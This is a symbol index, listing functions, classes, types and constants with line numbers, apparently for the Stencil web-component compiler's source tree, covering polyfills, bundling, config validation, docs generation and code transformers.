function fa (line 22) | function fa(a){if(!1!==a.b){a.b=!1;for(var b=a.g,d=[],c=new Map,e=0;e<b....
function xa (line 26) | function xa(){var a=X;window.HTMLElement=function(){function b(){var b=t...
function Y (line 27) | function Y(a,b,d){function c(b){return function(d){for(var e=[],c=0;c<ar...
function ya (line 27) | function ya(){var a=X;r(Document.prototype,"createElement",function(b){i...
function za (line 28) | function za(){function a(a,c){Object.defineProperty(a,"textContent",{enu...
function Aa (line 31) | function Aa(a){function b(b){return function(e){for(var c=[],d=0;d<argum...
function Ba (line 32) | function Ba(){function a(a,b){Object.defineProperty(a,"innerHTML",{enume...
function d (line 59) | function d(a){a=b(a);return a&&11===a.nodeType?d(a.host):a}
function b (line 59) | function b(a){return a&&a.parentNode?b(a.parentNode):a}
function n (line 74) | function n(){t.length>0?e.setAttribute("class",t.join(" ")):e.removeAttr...
FILE: src/client/polyfills/index.js
function applyPolyfills (line 1) | function applyPolyfills() {
FILE: src/client/polyfills/system.js
function u (line 6) | function u(){this[c]={}}
function i (line 6) | function i(){try{var e=t.e.call(f);if(e)return e=e.then(function(){t.C=t...
function c (line 6) | function c(n){n.filename===e&&(i=n.error)}
FILE: src/compiler/app-core/app-polyfills.ts
constant INLINE_POLYFILLS (line 36) | const INLINE_POLYFILLS = ['core-js.js', 'dom.js', 'es5-html-element.js',...
FILE: src/compiler/build/build-ctx.ts
class BuildContext (line 10) | class BuildContext implements d.BuildCtx {
method constructor (line 66) | constructor(config: d.Config, compilerCtx: d.CompilerCtx) {
method start (line 74) | start() {
method createTimeSpan (line 104) | createTimeSpan(msg: string, debug?: boolean) {
method debug (line 160) | debug(msg: string) {
method hasError (line 164) | get hasError() {
method hasWarning (line 168) | get hasWarning() {
method progress (line 172) | progress(t: d.BuildTask) {
method validateTypesBuild (line 176) | async validateTypesBuild() {
FILE: src/compiler/build/build-hmr.ts
constant IMAGE_EXT (line 248) | const IMAGE_EXT = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.ico', '.s...
FILE: src/compiler/build/build-stats.ts
function generateBuildStats (line 11) | function generateBuildStats(
function writeBuildStats (line 80) | async function writeBuildStats(
function sanitizeBundlesForStats (line 101) | function sanitizeBundlesForStats(bundleArray: ReadonlyArray<d.BundleModu...
function getSourceGraph (line 120) | function getSourceGraph(config: d.ValidatedConfig, buildCtx: d.BuildCtx) {
function getAppOutputs (line 131) | function getAppOutputs(config: d.ValidatedConfig, buildResults: d.Compil...
function getComponentsFileMap (line 141) | function getComponentsFileMap(config: d.ValidatedConfig, buildCtx: d.Bui...
function getCollections (line 169) | function getCollections(config: d.ValidatedConfig, buildCtx: d.BuildCtx)...
function relativePath (line 185) | function relativePath(config: d.ValidatedConfig, file: string) {
FILE: src/compiler/build/compiler-ctx.ts
class CompilerContext (line 14) | class CompilerContext implements d.CompilerCtx {
method reset (line 46) | reset() {
FILE: src/compiler/build/watch-build.ts
constant EXCLUDE_DIRS (line 294) | const EXCLUDE_DIRS = ['.cache', '.git', '.github', '.stencil', '.vscode'...
constant EXCLUDE_EXTENSIONS (line 299) | const EXCLUDE_EXTENSIONS = [
FILE: src/compiler/bundle/app-data-plugin.ts
method resolveId (line 39) | resolveId(id: string, importer: string | undefined): ResolveIdResult {
method load (line 62) | async load(id: string): Promise<LoadResult> {
method transform (line 96) | transform(code: string, id: string): TransformResult {
type GlobalScript (line 259) | interface GlobalScript {
FILE: src/compiler/bundle/bundle-interface.ts
type BundleOptions (line 12) | interface BundleOptions {
type BundlePlatform (line 63) | type BundlePlatform = 'client' | 'hydrate' | 'worker';
FILE: src/compiler/bundle/bundle-output.ts
function assertIsObjectHook (line 209) | function assertIsObjectHook<T>(hook: ObjectHook<T>): asserts hook is { h...
FILE: src/compiler/bundle/constants.ts
constant DEV_MODULE_CACHE_BUSTER (line 1) | const DEV_MODULE_CACHE_BUSTER = 0;
constant DEV_MODULE_DIR (line 3) | const DEV_MODULE_DIR = `~dev-module`;
FILE: src/compiler/bundle/core-resolve-plugin.ts
method resolveId (line 36) | resolveId(id) {
method load (line 111) | async load(filePath) {
FILE: src/compiler/bundle/dev-module.ts
type ParsedDevModuleUrl (line 189) | interface ParsedDevModuleUrl {
FILE: src/compiler/bundle/entry-alias-ids.ts
constant STENCIL_CORE_ID (line 1) | const STENCIL_CORE_ID = '@stencil/core';
constant STENCIL_INTERNAL_ID (line 2) | const STENCIL_INTERNAL_ID = '@stencil/core/internal';
constant STENCIL_APP_DATA_ID (line 3) | const STENCIL_APP_DATA_ID = '@stencil/core/internal/app-data';
constant STENCIL_APP_GLOBALS_ID (line 4) | const STENCIL_APP_GLOBALS_ID = '@stencil/core/internal/app-globals';
constant STENCIL_HYDRATE_FACTORY_ID (line 5) | const STENCIL_HYDRATE_FACTORY_ID = '@stencil/core/hydrate-factory';
constant STENCIL_INTERNAL_CLIENT_ID (line 6) | const STENCIL_INTERNAL_CLIENT_ID = '@stencil/core/internal/client';
constant STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID (line 7) | const STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID = '@stencil/core/internal...
constant STENCIL_INTERNAL_HYDRATE_ID (line 8) | const STENCIL_INTERNAL_HYDRATE_ID = '@stencil/core/internal/hydrate';
constant STENCIL_MOCK_DOC_ID (line 9) | const STENCIL_MOCK_DOC_ID = '@stencil/core/mock-doc';
constant STENCIL_JSX_RUNTIME_ID (line 10) | const STENCIL_JSX_RUNTIME_ID = '@stencil/core/jsx-runtime';
constant STENCIL_JSX_DEV_RUNTIME_ID (line 11) | const STENCIL_JSX_DEV_RUNTIME_ID = '@stencil/core/jsx-dev-runtime';
constant APP_DATA_CONDITIONAL (line 12) | const APP_DATA_CONDITIONAL = '?app-data=conditional';
constant LAZY_BROWSER_ENTRY_ID (line 13) | const LAZY_BROWSER_ENTRY_ID = '@lazy-browser-entrypoint' + APP_DATA_COND...
constant LAZY_EXTERNAL_ENTRY_ID (line 14) | const LAZY_EXTERNAL_ENTRY_ID = '@lazy-external-entrypoint' + APP_DATA_CO...
constant USER_INDEX_ENTRY_ID (line 15) | const USER_INDEX_ENTRY_ID = '@user-index-entrypoint';
FILE: src/compiler/bundle/ext-format-plugin.ts
method transform (line 11) | transform(code: string, importPath: string): TransformResult {
constant FORMAT_TEXT_EXTS (line 41) | const FORMAT_TEXT_EXTS = ['txt', 'frag', 'vert'];
constant FORMAT_URL_MIME (line 43) | const FORMAT_URL_MIME: any = {
constant DATAURL_MAX_IMAGE_SIZE (line 47) | const DATAURL_MAX_IMAGE_SIZE = 4 * 1024;
FILE: src/compiler/bundle/ext-transforms-plugin.ts
type ComponentStyleMap (line 25) | type ComponentStyleMap = Map<string, string>;
method transform (line 57) | async transform(_, id) {
FILE: src/compiler/bundle/file-load-plugin.ts
method load (line 10) | load(id) {
FILE: src/compiler/bundle/loader-plugin.ts
method resolveId (line 22) | resolveId(id: string): ResolveIdResult {
method load (line 36) | load(id: string): LoadResult {
FILE: src/compiler/bundle/plugin-helper.ts
method resolveId (line 9) | resolveId(importee: string, importer: string): null {
FILE: src/compiler/bundle/server-plugin.ts
method resolveId (line 27) | resolveId(id, importer) {
method load (line 57) | load(id) {
FILE: src/compiler/bundle/test/app-data-plugin.spec.ts
function setup (line 7) | function setup() {
FILE: src/compiler/bundle/test/ext-transforms-plugin.spec.ts
function setup (line 10) | function setup(bundleOptsOverrides: Partial<BundleOptions> = {}) {
FILE: src/compiler/bundle/typescript-plugin.ts
method load (line 32) | load(id: string): LoadResult {
method transform (line 56) | transform(_code: string, id: string): TransformResult {
method resolveId (line 81) | async resolveId(importee, importer) {
FILE: src/compiler/bundle/user-index-plugin.ts
method resolveId (line 11) | async resolveId(importee) {
method load (line 23) | async load(id) {
FILE: src/compiler/bundle/worker-plugin.ts
method transform (line 20) | transform(_, id) {
method buildStart (line 34) | buildStart() {
method resolveId (line 38) | resolveId(id) {
method load (line 48) | load(id) {
method transform (line 55) | async transform(_, id): Promise<TransformResult> {
type WorkerMeta (line 135) | interface WorkerMeta {
constant WORKER_SUFFIX (line 221) | const WORKER_SUFFIX = ['.worker.ts', '.worker.tsx', '.worker/index.ts', ...
constant WORKER_HELPER_ID (line 223) | const WORKER_HELPER_ID = '@worker-helper';
constant GET_TRANSFERABLES (line 225) | const GET_TRANSFERABLES = `
constant WORKER_HELPERS (line 322) | const WORKER_HELPERS = `
FILE: src/compiler/cache.ts
class Cache (line 6) | class Cache implements d.Cache {
method constructor (line 13) | constructor(
method initCacheDir (line 21) | async initCacheDir() {
method get (line 45) | async get(key: string) {
method put (line 71) | async put(key: string, value: string) {
method has (line 85) | async has(key: string) {
method createKey (line 90) | async createKey(domain: string, ...args: any[]) {
method commit (line 99) | async commit() {
method clear (line 108) | clear() {
method clearExpiredCache (line 114) | async clearExpiredCache() {
method clearDiskCache (line 153) | async clearDiskCache() {
method getCacheFilePath (line 163) | private getCacheFilePath(key: string): string {
method getMemoryStats (line 167) | getMemoryStats(): string | null {
constant MAX_FAILED (line 175) | const MAX_FAILED = 100;
constant ONE_DAY (line 176) | const ONE_DAY = 1000 * 60 * 60 * 24;
constant ONE_WEEK (line 177) | const ONE_WEEK = ONE_DAY * 7;
constant EXP_STORAGE_KEY (line 178) | const EXP_STORAGE_KEY = `last_clear_expired_cache`;
constant CACHE_DIR_README (line 180) | const CACHE_DIR_README = `# Stencil Cache Directory
FILE: src/compiler/config/constants.ts
type DefaultTargetComponentConfig (line 3) | type DefaultTargetComponentConfig = d.Config['docs']['markdown']['target...
constant DEFAULT_DEV_MODE (line 5) | const DEFAULT_DEV_MODE = false;
constant DEFAULT_HASHED_FILENAME_LENGTH (line 6) | const DEFAULT_HASHED_FILENAME_LENGTH = 8;
constant MIN_HASHED_FILENAME_LENGTH (line 7) | const MIN_HASHED_FILENAME_LENGTH = 4;
constant MAX_HASHED_FILENAME_LENGTH (line 8) | const MAX_HASHED_FILENAME_LENGTH = 32;
constant DEFAULT_NAMESPACE (line 9) | const DEFAULT_NAMESPACE = 'App';
constant DEFAULT_TARGET_COMPONENT_STYLES (line 10) | const DEFAULT_TARGET_COMPONENT_STYLES: DefaultTargetComponentConfig = {
FILE: src/compiler/config/outputs/validate-dist.ts
constant DEFAULT_DIR (line 170) | const DEFAULT_DIR = 'dist';
constant DEFAULT_BUILD_DIR (line 171) | const DEFAULT_BUILD_DIR = '';
constant DEFAULT_COLLECTION_DIR (line 172) | const DEFAULT_COLLECTION_DIR = 'collection';
constant DEFAULT_TYPES_DIR (line 173) | const DEFAULT_TYPES_DIR = 'types';
constant DEFAULT_ESM_LOADER_DIR (line 174) | const DEFAULT_ESM_LOADER_DIR = 'loader';
FILE: src/compiler/config/test/validate-service-worker.spec.ts
function getServiceWorker (line 40) | function getServiceWorker(target: OutputTargetWww) {
FILE: src/compiler/config/transpile-options.ts
type TranspileConfig (line 44) | interface TranspileConfig {
constant VALID_EXPORT (line 198) | const VALID_EXPORT = new Set(['customelement', 'module']);
constant VALID_METADATA (line 199) | const VALID_METADATA = new Set(['compilerstatic', null]);
constant VALID_MODULE (line 200) | const VALID_MODULE = new Set(['cjs', 'esm']);
constant VALID_PROXY (line 201) | const VALID_PROXY = new Set(['defineproperty', null]);
constant VALID_STYLE (line 202) | const VALID_STYLE = new Set(['static']);
constant VALID_STYLE_IMPORT_DATA (line 203) | const VALID_STYLE_IMPORT_DATA = new Set(['queryparams']);
constant VALID_TARGET (line 204) | const VALID_TARGET = new Set(['latest', 'esnext', 'es2020', 'es2019', 'e...
FILE: src/compiler/config/validate-config.ts
type ConfigValidationResults (line 35) | type ConfigValidationResults = {
constant CACHED_VALIDATED_CONFIG (line 54) | let CACHED_VALIDATED_CONFIG: ValidatedConfig | null = null;
FILE: src/compiler/config/validate-paths.ts
type ConfigPaths (line 10) | interface ConfigPaths {
constant DEFAULT_BUILD_LOG_FILE_NAME (line 82) | const DEFAULT_BUILD_LOG_FILE_NAME = 'stencil-build.log';
constant DEFAULT_CACHE_DIR (line 83) | const DEFAULT_CACHE_DIR = '.stencil';
constant DEFAULT_INDEX_HTML (line 84) | const DEFAULT_INDEX_HTML = 'index.html';
constant DEFAULT_SRC_DIR (line 85) | const DEFAULT_SRC_DIR = 'src';
FILE: src/compiler/config/validate-rollup-config.ts
constant DEFAULT_ROLLUP_CONFIG (line 49) | const DEFAULT_ROLLUP_CONFIG: d.RollupConfig = {
FILE: src/compiler/config/validate-service-worker.ts
constant DEFAULT_GLOB_PATTERNS (line 103) | const DEFAULT_GLOB_PATTERNS = ['*.html', '**/*.{js,css,json}'];
constant DEFAULT_FILENAME (line 105) | const DEFAULT_FILENAME = 'sw.js';
FILE: src/compiler/config/validate-testing.ts
constant DEFAULT_ALLOWABLE_MISMATCHED_PIXELS (line 215) | const DEFAULT_ALLOWABLE_MISMATCHED_PIXELS = 100;
constant DEFAULT_PIXEL_MATCH_THRESHOLD (line 216) | const DEFAULT_PIXEL_MATCH_THRESHOLD = 0.1;
constant DEFAULT_IGNORE_PATTERNS (line 217) | const DEFAULT_IGNORE_PATTERNS = ['.vscode', '.stencil', 'node_modules'];
FILE: src/compiler/docs/cem/index.ts
type CustomElementsManifest (line 237) | interface CustomElementsManifest {
type JavaScriptModule (line 242) | interface JavaScriptModule {
type JavaScriptExport (line 249) | interface JavaScriptExport {
type CustomElementExport (line 255) | interface CustomElementExport {
type Reference (line 261) | interface Reference {
type CustomElementDeclaration (line 267) | interface CustomElementDeclaration {
type Demo (line 284) | interface Demo {
type Attribute (line 289) | interface Attribute {
type Type (line 298) | interface Type {
type TypeReference (line 303) | interface TypeReference {
type CustomElementField (line 309) | interface CustomElementField {
type ClassMethod (line 321) | interface ClassMethod {
type Parameter (line 333) | interface Parameter {
type Event (line 339) | interface Event {
type Slot (line 346) | interface Slot {
type CssPart (line 351) | interface CssPart {
type CustomState (line 360) | interface CustomState {
type CssCustomProperty (line 366) | interface CssCustomProperty {
FILE: src/compiler/docs/constants.ts
constant AUTO_GENERATE_COMMENT (line 1) | const AUTO_GENERATE_COMMENT = `<!-- Auto Generated Below -->`;
constant NOTE (line 2) | const NOTE = `*Built with [StencilJS](https://stenciljs.com/)*`;
FILE: src/compiler/docs/generate-doc-data.ts
function findSupplementalPublicTypes (line 64) | function findSupplementalPublicTypes(outputTargets: d.OutputTargetDocsJs...
function walk (line 135) | function walk(tagName: string): void {
FILE: src/compiler/docs/readme/docs-util.ts
class MarkdownTable (line 1) | class MarkdownTable {
method addHeader (line 4) | addHeader(data: string[]) {
method addRow (line 8) | addRow(data: string[], isHeader = false) {
method toMarkdown (line 25) | toMarkdown() {
type ColumnData (line 150) | interface ColumnData {
type RowData (line 155) | interface RowData {
FILE: src/compiler/docs/style-docs.ts
function parseStyleDocs (line 14) | function parseStyleDocs(styleDocs: d.StyleDoc[], styleText: string | nul...
function parseCssComment (line 46) | function parseCssComment(styleDocs: d.StyleDoc[], comment: string, mode:...
constant CSS_DOC_START (line 95) | const CSS_DOC_START = /\/\*(\*|\!)/;
constant CSS_DOC_END (line 99) | const CSS_DOC_END = '*/';
constant CSS_PROP_ANNOTATION (line 103) | const CSS_PROP_ANNOTATION = '@prop';
FILE: src/compiler/docs/test/custom-elements-manifest.spec.ts
function createMockComponent (line 588) | function createMockComponent(overrides: Partial<d.JsonDocsComponent> = {...
FILE: src/compiler/docs/vscode/index.ts
type TagReference (line 66) | type TagReference = {
type AttributeData (line 98) | type AttributeData = {
type WithRequired (line 111) | type WithRequired<T, K extends keyof T> = T & { [P in K]-?: T[P] };
type DocPropWithAttribute (line 116) | type DocPropWithAttribute = WithRequired<d.JsonDocsProp, 'attr'>;
FILE: src/compiler/entries/component-bundles.ts
function computeUsedComponents (line 21) | function computeUsedComponents(
function generateComponentBundles (line 64) | function generateComponentBundles(
function optimizeBundlers (line 102) | function optimizeBundlers(
function computeScore (line 192) | function computeScore(m0: Uint8Array, m1: Uint8Array): number {
FILE: src/compiler/entries/default-bundles.ts
function getDefaultBundles (line 13) | function getDefaultBundles(
function getUserConfigBundles (line 53) | function getUserConfigBundles(
FILE: src/compiler/entries/resolve-component-dependencies.ts
function resolveComponentDependencies (line 16) | function resolveComponentDependencies(cmps: d.ComponentCompilerMeta[]): ...
function computeDependencies (line 28) | function computeDependencies(cmps: d.ComponentCompilerMeta[]): void {
function computeDependents (line 41) | function computeDependents(cmps: d.ComponentCompilerMeta[]): void {
function resolveTransitiveDependencies (line 74) | function resolveTransitiveDependencies(
function resolveTransitiveDependents (line 114) | function resolveTransitiveDependents(cmp: d.ComponentCompilerMeta, cmps:...
FILE: src/compiler/events.ts
type EventCallback (line 70) | interface EventCallback {
FILE: src/compiler/fs-watch/fs-watch-rebuild.ts
constant SCRIPT_EXT (line 37) | const SCRIPT_EXT = ['ts', 'tsx', 'js', 'jsx'];
constant STYLE_EXT (line 51) | const STYLE_EXT = ['css', 'scss', 'sass', 'pcss', 'styl', 'stylus', 'les...
FILE: src/compiler/html/inline-esm-import.ts
function readModulePaths (line 132) | function readModulePaths(code: string): string[] {
function isImportOrExportDecl (line 156) | function isImportOrExportDecl(stmt: ts.Statement): stmt is ts.ImportDecl...
constant MAX_JS_INLINE_SIZE (line 161) | const MAX_JS_INLINE_SIZE = 1 * 1024;
FILE: src/compiler/html/test/remove-unused-styles.spec.ts
function expectSelector (line 283) | function expectSelector(css: string, selector: string) {
function expectNoSelector (line 288) | function expectNoSelector(css: string, selector: string) {
FILE: src/compiler/optimize/autoprefixer.ts
type CssProcessor (line 5) | type CssProcessor = ReturnType<Postcss>;
constant DEFAULT_AUTOPREFIX_OPTIONS (line 120) | const DEFAULT_AUTOPREFIX_OPTIONS: d.AutoprefixerOptions = {
FILE: src/compiler/optimize/minify-js.ts
constant MINIFY_CHAR_BREAK (line 138) | const MINIFY_CHAR_BREAK = new Set([
FILE: src/compiler/optimize/optimize-module.ts
type OptimizeModuleOptions (line 9) | interface OptimizeModuleOptions {
function getTerserManglePropertiesConfig (line 187) | function getTerserManglePropertiesConfig(): ManglePropertiesOptions {
FILE: src/compiler/output-targets/copy/output-copy.ts
constant DEFAULT_IGNORE (line 8) | const DEFAULT_IGNORE = [
FILE: src/compiler/output-targets/dist-hydrate-script/generate-hydrate-app.ts
method resolveId (line 68) | resolveId(id) {
method load (line 81) | load(id) {
method transform (line 87) | transform(code) {
FILE: src/compiler/output-targets/dist-hydrate-script/hydrate-factory-closure.ts
constant HYDRATE_APP_CLOSURE_START (line 1) | const HYDRATE_APP_CLOSURE_START = `/*hydrateAppClosure start*/`;
constant MODE_RESOLUTION_CHAIN_DECLARATION (line 3) | const MODE_RESOLUTION_CHAIN_DECLARATION = `modeResolutionChain = [];`;
constant HYDRATE_FACTORY_INTRO (line 12) | const HYDRATE_FACTORY_INTRO = `
constant HYDRATE_FACTORY_OUTRO (line 142) | const HYDRATE_FACTORY_OUTRO = `
FILE: src/compiler/output-targets/dist-lazy/lazy-bundleid-plugin.ts
method generateBundle (line 39) | async generateBundle(_, bundle) {
FILE: src/compiler/output-targets/dist-lazy/lazy-component-plugin.ts
method resolveId (line 12) | resolveId(importee) {
method load (line 22) | load(id) {
FILE: src/compiler/output-targets/dist-lazy/lazy-output.ts
function generateEntryModules (line 153) | function generateEntryModules(config: d.ValidatedConfig, buildCtx: d.Bui...
function createEntryModule (line 170) | function createEntryModule(cmps: d.ComponentCompilerMeta[]): d.EntryModu...
FILE: src/compiler/output-targets/empty-dir.ts
type OutputTargetEmptiable (line 13) | type OutputTargetEmptiable =
FILE: src/compiler/output-targets/output-lazy-loader.ts
function filterAndJoin (line 102) | function filterAndJoin(parts: (string | null)[]): string {
FILE: src/compiler/output-targets/output-www.ts
constant MAX_CSS_INLINE_SIZE (line 190) | const MAX_CSS_INLINE_SIZE = 3 * 1024;
FILE: src/compiler/output-targets/test/output-lazy-loader.spec.ts
function setup (line 8) | function setup(configOverrides: Partial<d.ValidatedConfig> = {}) {
FILE: src/compiler/plugin/test/plugin.spec.ts
function myPlugin (line 47) | function myPlugin() {
function myPlugin (line 81) | function myPlugin() {
function myPlugin (line 123) | function myPlugin() {
function myPlugin (line 167) | function myPlugin() {
FILE: src/compiler/prerender/crawl-urls.ts
constant SKIP_EXT (line 232) | const SKIP_EXT = new Set(['zip', 'rar', 'tar', 'gz', 'bz2', 'png', 'jpeg...
FILE: src/compiler/prerender/prerender-optimize.ts
method resolveUrl (line 121) | async resolveUrl(urlProp) {
method resolveUrl (line 247) | async resolveUrl(urlProp) {
FILE: src/compiler/prerender/prerender-worker-ctx.ts
type PrerenderContext (line 3) | interface PrerenderContext {
FILE: src/compiler/public.ts
type CompilerDependency (line 54) | interface CompilerDependency {
FILE: src/compiler/service-worker/generate-sw.ts
constant INDEX_ORG (line 92) | const INDEX_ORG = 'index-org.html';
constant UNREGISTER_SW (line 114) | const UNREGISTER_SW = `
constant SELF_UNREGISTER_SW (line 125) | const SELF_UNREGISTER_SW = `
FILE: src/compiler/style/css-imports.ts
function resolveAndFlattenImports (line 58) | async function resolveAndFlattenImports(
type ParseCSSReturn (line 115) | interface ParseCSSReturn {
FILE: src/compiler/style/css-parser/css-parse-declarations.ts
type ParseCssResults (line 4) | interface ParseCssResults {
type CssNodeType (line 9) | const enum CssNodeType {
type CssNode (line 29) | interface CssNode {
type CssParsePosition (line 53) | interface CssParsePosition {
type SerializeCssOptions (line 60) | interface SerializeCssOptions {
type SerializeOpts (line 64) | interface SerializeOpts extends SerializeCssOptions {
FILE: src/compiler/style/css-parser/get-css-selectors.ts
constant SELECTORS (line 48) | const SELECTORS: { all: string[]; tags: string[]; classNames: string[]; ...
FILE: src/compiler/style/css-parser/parse-css.ts
class ParsePosition (line 569) | class ParsePosition implements CssParsePosition {
method constructor (line 575) | constructor(start: any) {
FILE: src/compiler/style/css-parser/serialize-css.ts
constant CSS_WS_REG (line 340) | const CSS_WS_REG = /\s/;
constant CSS_NEXT_CHAR_REG (line 341) | const CSS_NEXT_CHAR_REG = /[>\(\)\~\,\+\s]/;
constant CSS_PREV_CHAR_REG (line 342) | const CSS_PREV_CHAR_REG = /[>\(\~\,\+]/;
FILE: src/compiler/style/css-parser/test/minify-css.spec.ts
method resolveUrl (line 27) | resolveUrl(url) {
FILE: src/compiler/style/css-parser/used-selectors.ts
type UsedSelectors (line 55) | interface UsedSelectors {
FILE: src/compiler/style/css-to-esm.ts
constant CSS_IMPORT_RE (line 55) | const CSS_IMPORT_RE = /(@import)\s+(url\()?\s?(.*?)\s?\)?([^;]*);?/gi;
FILE: src/compiler/sys/environment.ts
constant IS_WINDOWS_ENV (line 1) | const IS_WINDOWS_ENV = process.platform === 'win32';
constant IS_CASE_SENSITIVE_FILE_NAMES (line 3) | const IS_CASE_SENSITIVE_FILE_NAMES = !IS_WINDOWS_ENV;
FILE: src/compiler/sys/in-memory-fs.ts
type InMemoryFileSystem (line 37) | type InMemoryFileSystem = ReturnType<typeof createInMemoryFs>;
type FsItem (line 44) | interface FsItem {
type FsItems (line 63) | type FsItems = Map<string, FsItem>;
type FsWriteOptions (line 68) | interface FsWriteOptions {
type FsWriteResults (line 92) | interface FsWriteResults {
type FsReadOptions (line 101) | interface FsReadOptions {
type FsReaddirOptions (line 109) | interface FsReaddirOptions {
type FsReaddirItem (line 130) | interface FsReaddirItem {
type FsStat (line 140) | interface FsStat {
type FileCopyTuple (line 1175) | type FileCopyTuple = [string, string];
type FsCommitInstructions (line 1181) | interface FsCommitInstructions {
type FsCommitResults (line 1196) | interface FsCommitResults {
constant IGNORE (line 1360) | const IGNORE = ['.ds_store', '.gitignore', 'desktop.ini', 'thumbs.db'];
FILE: src/compiler/sys/node-require.ts
type NodeModuleWithCompile (line 71) | interface NodeModuleWithCompile extends NodeModule {
FILE: src/compiler/sys/resolve/resolve-module-async.ts
method isFile (line 52) | async isFile(filePath: string, cb: (err: any, isFile: boolean) => void) {
method isDirectory (line 64) | async isDirectory(dirPath: string, cb: (err: any, isDirectory: boolean) ...
method readFile (line 76) | async readFile(p: string, cb: (err: any, data?: any) => void) {
method realpath (line 87) | async realpath(p: string, cb: (err: any, data?: any) => void) {
FILE: src/compiler/sys/resolve/resolve-module-sync.ts
method isFile (line 67) | isFile(filePath: string) {
method isDirectory (line 74) | isDirectory(dirPath: string) {
method readFileSync (line 81) | readFileSync(p: string) {
method realpathSync (line 90) | realpathSync(p: string) {
function isErrnoException (line 116) | function isErrnoException(err: unknown): err is NodeJS.ErrnoException {
FILE: src/compiler/sys/resolve/resolve-utils.ts
constant COMMON_DIR_MODULE_EXTS (line 5) | const COMMON_DIR_MODULE_EXTS = ['.tsx', '.ts', '.mts', '.cts', '.mjs', '...
FILE: src/compiler/sys/stencil-sys.ts
method close (line 423) | close() {
method close (line 463) | close() {
type FsItem (line 642) | interface FsItem {
FILE: src/compiler/sys/tests/in-memory-fs.spec.ts
function fsItem (line 13) | function fsItem(item: any): FsItem {
FILE: src/compiler/sys/typescript/typescript-sys.ts
method close (line 143) | close() {
method close (line 160) | close() {
FILE: src/compiler/transformers/automatic-key-insertion/automatic-key-insertion.spec.ts
function transpile (line 5) | function transpile(code: string) {
FILE: src/compiler/transformers/automatic-key-insertion/index.ts
function findClassDeclVisitor (line 50) | function findClassDeclVisitor(node: ts.Node): ts.VisitResult<ts.Node> {
function findRenderMethodVisitor (line 73) | function findRenderMethodVisitor(node: ts.Node): ts.VisitResult<ts.Node> {
function jsxElementVisitor (line 115) | function jsxElementVisitor(node: ts.Node): ts.VisitResult<ts.Node> {
function numReturnStatements (line 144) | function numReturnStatements(method: ts.MethodDeclaration): number {
function isJSXElWithAttrs (line 171) | function isJSXElWithAttrs(node: ts.Node): node is ts.JsxOpeningElement |...
function addKeyAttr (line 183) | function addKeyAttr(
function isKeyAttr (line 223) | function isKeyAttr(attr: ts.JsxAttributeLike): boolean {
function attrNameToString (line 233) | function attrNameToString(attr: ts.JsxAttributeLike): string {
FILE: src/compiler/transformers/automatic-key-insertion/utils.ts
function deriveJSXKey (line 29) | function deriveJSXKey(jsxElement: ts.JsxOpeningElement | ts.JsxSelfClosi...
FILE: src/compiler/transformers/component-lazy/attach-internals.ts
function createLazyAttachInternalsBinding (line 46) | function createLazyAttachInternalsBinding(cmp: d.ComponentCompilerMeta):...
function createStatesAddCall (line 157) | function createStatesAddCall(memberName: string, stateName: string): ts....
function hostRefElementInternalsPropAccess (line 186) | function hostRefElementInternalsPropAccess(): ts.ElementAccessExpression {
FILE: src/compiler/transformers/component-lazy/constants.ts
constant HOST_REF_ARG (line 5) | const HOST_REF_ARG = 'hostRef';
FILE: src/compiler/transformers/component-native/add-define-custom-element-function.ts
function createAutoDefinitionExpression (line 248) | function createAutoDefinitionExpression(componentName: string): ts.Expre...
FILE: src/compiler/transformers/component-native/attach-internals.ts
function createNativeAttachInternalsBinding (line 34) | function createNativeAttachInternalsBinding(cmp: d.ComponentCompilerMeta...
function createStatesAddCall (line 86) | function createStatesAddCall(memberName: string, stateName: string): ts....
FILE: src/compiler/transformers/component-native/native-connected-callback.ts
constant CONNECTED_CALLBACK (line 64) | const CONNECTED_CALLBACK = 'connectedCallback';
FILE: src/compiler/transformers/core-runtime-apis.ts
constant CREATE_EVENT (line 3) | const CREATE_EVENT = '__stencil_createEvent';
constant DEFINE_CUSTOM_ELEMENT (line 4) | const DEFINE_CUSTOM_ELEMENT = '__stencil_defineCustomElement';
constant GET_ELEMENT (line 5) | const GET_ELEMENT = '__stencil_getElement';
constant HOST (line 6) | const HOST = '__stencil_Host';
constant HTML_ELEMENT (line 7) | const HTML_ELEMENT = 'HTMLElement';
constant PROXY_CUSTOM_ELEMENT (line 8) | const PROXY_CUSTOM_ELEMENT = '__stencil_proxyCustomElement';
constant REGISTER_INSTANCE (line 9) | const REGISTER_INSTANCE = '__stencil_registerInstance';
constant REGISTER_HOST (line 10) | const REGISTER_HOST = '__stencil_registerHost';
constant TRANSFORM_TAG (line 12) | const TRANSFORM_TAG = '__stencil_transformTag';
constant RUNTIME_APIS (line 14) | const RUNTIME_APIS = {
FILE: src/compiler/transformers/decorators-to-static/attach-internals.ts
function parseCustomStatesFromDecorator (line 89) | function parseCustomStatesFromDecorator(
FILE: src/compiler/transformers/decorators-to-static/decorator-utils.ts
type GetDecoratorParameters (line 227) | interface GetDecoratorParameters {
FILE: src/compiler/transformers/decorators-to-static/decorators-constants.ts
constant STENCIL_DECORATORS (line 4) | const STENCIL_DECORATORS = [
type StencilDecorator (line 18) | type StencilDecorator = (typeof STENCIL_DECORATORS)[number];
constant CLASS_DECORATORS_TO_REMOVE (line 24) | const CLASS_DECORATORS_TO_REMOVE = ['Component'] as const satisfies read...
constant MEMBER_DECORATORS_TO_REMOVE (line 30) | const MEMBER_DECORATORS_TO_REMOVE = [
constant STATIC_GETTER_NAMES (line 47) | const STATIC_GETTER_NAMES = [
type StencilStaticGetter (line 75) | type StencilStaticGetter = (typeof STATIC_GETTER_NAMES)[number];
FILE: src/compiler/transformers/decorators-to-static/event-decorator.ts
constant DOM_EVENT_NAMES (line 168) | const DOM_EVENT_NAMES: Set<string> = new Set(
FILE: src/compiler/transformers/decorators-to-static/import-alias-map.ts
class ImportAliasMap (line 5) | class ImportAliasMap extends Map<StencilDecorator, string> {
method constructor (line 6) | constructor(sourceFile: ts.SourceFile) {
method generateImportAliasMap (line 17) | private generateImportAliasMap(sourceFile: ts.SourceFile) {
method get (line 39) | override get(key: StencilDecorator): string {
FILE: src/compiler/transformers/decorators-to-static/listen-decorator.ts
constant PASSIVE_TRUE_DEFAULTS (line 78) | const PASSIVE_TRUE_DEFAULTS = new Set([
FILE: src/compiler/transformers/host-data-transform.ts
constant INTERNAL_RENDER (line 79) | const INTERNAL_RENDER = '__stencil_render';
